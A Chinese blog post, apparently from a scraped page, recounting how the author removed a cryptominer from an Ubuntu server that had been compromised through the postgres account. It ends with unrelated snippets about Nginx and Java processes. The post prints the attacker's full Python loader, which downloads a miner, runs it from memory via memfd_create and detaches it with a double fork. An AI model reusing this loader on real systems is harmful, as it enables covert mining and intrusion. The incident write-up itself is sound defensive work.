伺服器異常 隨機名稱的程序CPU資源占用過高

2022-07-16 01:39:13 字數 3916 閱讀 6895

作業系統: ubuntu 16.04

之前部署完odoo12後就經常出現服務掛掉的情況,檢視狀態一般都是某某包缺失,然後各種安裝包,重啟服務,這次發現cpu占用達到399%,而且每次程序名稱都是隨機的,通過postgres使用者執行,遂懷疑之前安裝包的時候裝了什麼不好的東西,通過以下步驟排查:

1. 通過top命令檢視程序

發現pid為2981的程序異常

2. 通過在程序目錄下找執行的程式:

定位到執行檔案所在目錄/var/lib/postgressql

3. 定位到執行檔案後,切換到執行檔案所在目錄刪除可疑檔案

一下就看到有若干可疑指令碼檔案和資料夾,將.ssh、.systemd-init、.bash_history都刪除了。

4. kill異常程序

kill -9

2981

然後再使用top命令檢視程序

世界暫時安靜了。

後續:觀察了一小會,發現問題依舊,又出了乙個新程序佔cpu399%了,於是繼續排查。

1. 通過對異常程序定位,發現還是在之前的目錄,但進入到目錄,發現之前被刪除的檔案沒有再出現,於是進入到子目錄內查詢,在以下目錄發現新問題

首先,映入眼簾的是go.py檔案,這太明顯了,於是開啟該檔案,內容如下:

import

osimport

sysimport

ctypes

import

hashlib

import

urllib2

import

platform

defrun_miner(binary):

fd = ctypes.cdll(none).syscall(319, "", 1)

final_fd = open('

/proc/self/fd/

' + str(fd), 'wb'

) final_fd.write(binary)

final_fd.close()

fork1 =os.fork()

print

os.getpid()

if 0 !=fork1:

os._exit(0)

ctypes.cdll(none).syscall(112)

fork2 =os.fork()

if 0 !=fork2:

os._exit(0)

os.execl(

'/proc/self/fd/

' + str(fd), '', ''

)def

load_miner(url):

try:

response =urllib2.urlopen(url)

binary =response.read()

except

:

return

none

return

binary

defget_sysinfo():

_arch = ctypes.sizeof(ctypes.c_void_p) * 8

if _arch is 64:

_arch = 64

elif _arch is 32:

_arch = 32

else

:

return

false

kernel_name =platform.system()

if"linux"in

kernel_name:

_os_name = "

linux

"elif

"win"in

kernel_name:

_os_name = "

win"

else

:

return

false

return

_os_name, _arch

defget_md5(binary):

return

hashlib.md5(binary).hexdigest()

if__name__ == "

__main__":

os_name, arch =get_sysinfo()

if os_name != "

linux":

sys.exit(0)

miner_url = "

" +arch

miner_md5 = ["

fd4e61e02958b57b8446325b62efa1ea

", "

616b7f7f9a061fd8a90c83467e7139e0"]

miner_max_retry = 10_dl_count = 1

while

true:

miner_bin =load_miner(miner_url)

if get_md5(miner_bin) in miner_md5 or miner_max_retry <_dl_count:>

break

_dl_count = _dl_count + 1

try: run_miner(miner_bin)

except

:

pass

很明了了,應該就是它,刪除該檔案,然後kill掉異常程序,繼續觀察,一會後,問題依舊!!!!!繼續排查,還是在原來的目錄下發現乙個可執行檔案,如下

這是可疑檔案,刪除之,欸,沒任何反應。。。

rm -rf 刪了沒反應!!!

檔案還是在!!!

怎麼辦???

沒許可權??

chmod賦個777

見鬼!看著那個綠色的postgresq1眉頭緊蹙,捶胸頓足,木有辦法呢

十分鐘過去了

二十分鐘過去了

靈光一現,那後面不是l是1啊,這名字太好了,於是直接:

rm -rf postgresq1

刪掉了!!!!!!!

趕緊kill異常程序,再觀察,這次應該沒問題了

再次後續。問題又來了!!!!!

若干時間後問題再現了,該刪的都刪了,還是能自動執行,檢視了crontab任務、自啟動項,都沒有收穫,幾乎想放棄了,想到對方使用postgres賬戶執行,遂設定postgres賬戶密碼,使用較強密碼,然後再kill異常程序,過去40分鐘了,這次沒有再看到新的程序,謝天謝地!

liunx伺服器java單程序佔cpu較高

介面程式負載較高問題處理 問題描述 伺服器負載經常較高,top檢視一直存在高cpu單程序,問題分析 單程序佔cpu持續較高導致負載高 問題處理 1 根據top命令,檢視占用cpu很高的程序pid,如20348 2 ps mp 20438 o thread,tid,time sort rn,檢視該程序...

Nginx伺服器的程序

nginx伺服器的三大類程序 一 主程序 nginx伺服器啟動時執行的主要程序。它的主要功能是與外界通訊和對內部其他程序進行管理,具體來說有以下幾點 1。讀取nginx配置檔案並驗證其有效性和正確性。2.建立 繫結和關閉socket 3.按照配置生成 管理和結束工作程序 4.接收外界指令,比如重啟 ...

Nginx 伺服器的程序

到目前為止,我們一共提到nginx伺服器的三大類程序 一類是主程序,另一類是由主程序生成的工作程序,還有剛才提到的用於為快取檔案建立索引的程序。nginx伺服器啟動時執行的主要程序。它的主要功能是與外界通訊和對內部其他程序進行管理,具體來說有以下幾點 讀取nginx配置檔案並驗證其有效性和正確性。建...